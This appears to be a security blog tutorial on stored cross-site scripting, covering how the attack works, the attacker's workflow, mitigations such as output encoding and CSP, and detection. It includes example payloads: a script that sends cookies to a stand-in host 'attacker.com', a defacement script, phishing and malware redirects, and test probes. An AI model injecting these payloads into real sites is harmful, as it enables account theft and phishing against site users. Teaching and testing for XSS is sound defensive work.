Part 4: Cross-Site Scripting (XSS) Series - Stored XSS – A Deep Dive

Author: Trix Cyrus

Waymap Pentesting tool: Click Here
TrixSec Github: Click Here
TrixSec Telegram: Click Here

---

In this 4th part of our XSS series, we'll take a deep dive into Stored Cross-Site Scripting (Stored XSS), a particularly dangerous type of XSS vulnerability. Stored XSS is one of the most severe forms of XSS because the malicious payload is permanently stored on the server and can affect every user who accesses the affected page. In this article, we will discuss the technical mechanics of Stored XSS, its impact, and how attackers exploit it to achieve devastating consequences.

---

1. What is Stored XSS?

Stored XSS, also known as persistent XSS, occurs when an attacker is able to inject a malicious script into a web application that stores the script in a database or another persistent data store. Unlike Reflected XSS, where the payload is executed only once per request, Stored XSS allows the attacker’s payload to persist and execute each time a vulnerable page is loaded.

This makes Stored XSS a significant threat because it can affect every user who visits the affected page, making it a widespread attack that can compromise an entire web application.

---

2. How Stored XSS Works

Stored XSS vulnerabilities typically arise in applications that accept and store untrusted user input without proper validation or sanitization, particularly in places like:

• Comment sections
• Forums and chat applications
• User profile pages
• Search results

Steps in a Stored XSS Attack:

1. Injection of Malicious Payload:

   • An attacker inputs malicious JavaScript into a form field, such as a comment box, search bar, or contact form.
   • Example of payload:

    <script>alert('XSS')</script>
   

2. Payload Storage:

   • The web application stores this input in a database or file system without properly sanitizing it.
   • The input is then displayed to other users who access the page containing this data.

3. Execution of Malicious Script:

   • When another user visits the page containing the stored malicious script (e.g., viewing the comment or profile), the malicious JavaScript code executes in their browser, potentially stealing session cookies, redirecting to a malicious site, or performing any other harmful action.

4. Repeatable Attack:

   • The payload continues to be executed each time the stored content is accessed by any user. This means that the attacker doesn’t have to repeatedly target users directly; the vulnerability is persistent and can affect many people.

---

3. Real-World Examples of Stored XSS Exploitation

Here are some examples of how attackers use Stored XSS to exploit vulnerabilities:

1. Stealing User Credentials:

• An attacker injects a payload into a comment section. When users load the page, the script executes and sends their session cookies or login credentials to the attacker’s server.

• Example Payload:
  

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>
  

• This results in the attacker gaining unauthorized access to user accounts.

2. Defacing Websites:

• Malicious scripts can also be used to modify the content of the webpage, including images, text, or links. This is known as website defacement.

• Example Payload:
  

   <script>document.body.innerHTML = "<h1>Hacked by Attacker</h1>";</script>
  

• When users load the page, they see a defaced version of the website.

3. Phishing Attacks:

• An attacker may inject a script that creates a fake login form or redirects users to a phishing site, tricking them into providing their credentials.

• Example Payload:
  

   <script>window.location="https://phishing-site.com/login";</script>
  

4. Malware Distribution:

• The attacker might inject a script that automatically downloads and executes malware on users' computers.

• Example Payload:
  

   <script>window.location='http://attacker.com/malware.exe';</script>
  

---

4. How Attackers Exploit Stored XSS Vulnerabilities

Attackers often use a combination of techniques to identify and exploit Stored XSS vulnerabilities:

1. Reconnaissance:

• The attacker may first perform reconnaissance to identify input fields in the application that accept user-generated content (such as comment boxes, search bars, or profile update fields). These fields often become attack vectors.
• They also check how the application displays the data to the user and look for unsanitized output (i.e., if the data is echoed back without proper encoding).

2. Payload Crafting:

• Once a vulnerable input field is identified, the attacker crafts an XSS payload.
• Attackers can use advanced techniques such as encoded payloads (UTF-8 encoding, Base64) to bypass basic input validation filters.

3. Delivering the Attack:

• The attacker submits the crafted payload to the target application.
• If the input is stored successfully in the backend (e.g., in a database) and the application renders it on subsequent user requests without proper sanitization or encoding, the payload is executed.

4. Exploitation:

• The attacker may set up a server to capture the data (e.g., session cookies or keylogging) when the XSS payload is executed by a victim.
• In some cases, attackers can leverage social engineering tactics to encourage users to visit a page containing malicious XSS content, increasing the chance of exploitation.

---

5. Mitigating Stored XSS Vulnerabilities

To prevent Stored XSS vulnerabilities, developers and security professionals should follow secure coding practices:

1. Input Validation and Sanitization:

• Validate and sanitize all user input before storing it.
• Use whitelisting techniques (e.g., only allow a set of safe characters) to ensure malicious input does not get processed.

2. Output Encoding:

• Ensure that any user-generated content that is displayed on the webpage is properly encoded. This converts any potentially executable code into harmless text.
• Use appropriate encoding techniques for different contexts (HTML, JavaScript, URL encoding, etc.).

3. Use CSP (Content Security Policy):

• Implement a strong Content Security Policy (CSP) to restrict the types of content that can be loaded and executed on a page. This prevents the execution of malicious scripts even if they are injected.

4. Implement HTTPOnly and Secure Flags for Cookies:

• Setting the HTTPOnly flag for session cookies can prevent JavaScript from accessing cookies, mitigating the risk of session hijacking via XSS.

5. Regular Security Audits:

• Regularly audit your application for vulnerabilities, using automated tools like Burp Suite, OWASP ZAP, and SonarQube to identify potential security issues.

---

6. Detecting Stored XSS Vulnerabilities

To detect and confirm Stored XSS vulnerabilities, security professionals can use a mix of manual and automated techniques:

1. Manual Testing:

• Test input fields by submitting common XSS payloads such as <script>alert('XSS')</script>, <img src="x" onerror="alert(1)">, and other variants.
• Use browser developer tools (e.g., inspecting the DOM) to check if the injected payload appears in the page source code or is executed.

2. Automated Tools:

• Burp Suite, OWASP ZAP, and Acunetix are excellent tools that can automate the process of detecting Stored XSS vulnerabilities by crawling the site and injecting payloads into input fields.
• Tools like XSS Hunter and XSStrike can provide more advanced payloads and detect subtle XSS flaws.

---

7. Conclusion

Stored XSS is a powerful and persistent attack vector that can have severe consequences for both users and organizations. Understanding how it works and how attackers exploit it is crucial to securing web applications.

By employing a combination of secure coding practices, proper input validation, output encoding, and utilizing automated detection tools, organizations can reduce their exposure to Stored XSS vulnerabilities and protect their users from malicious attacks.

~Trixsec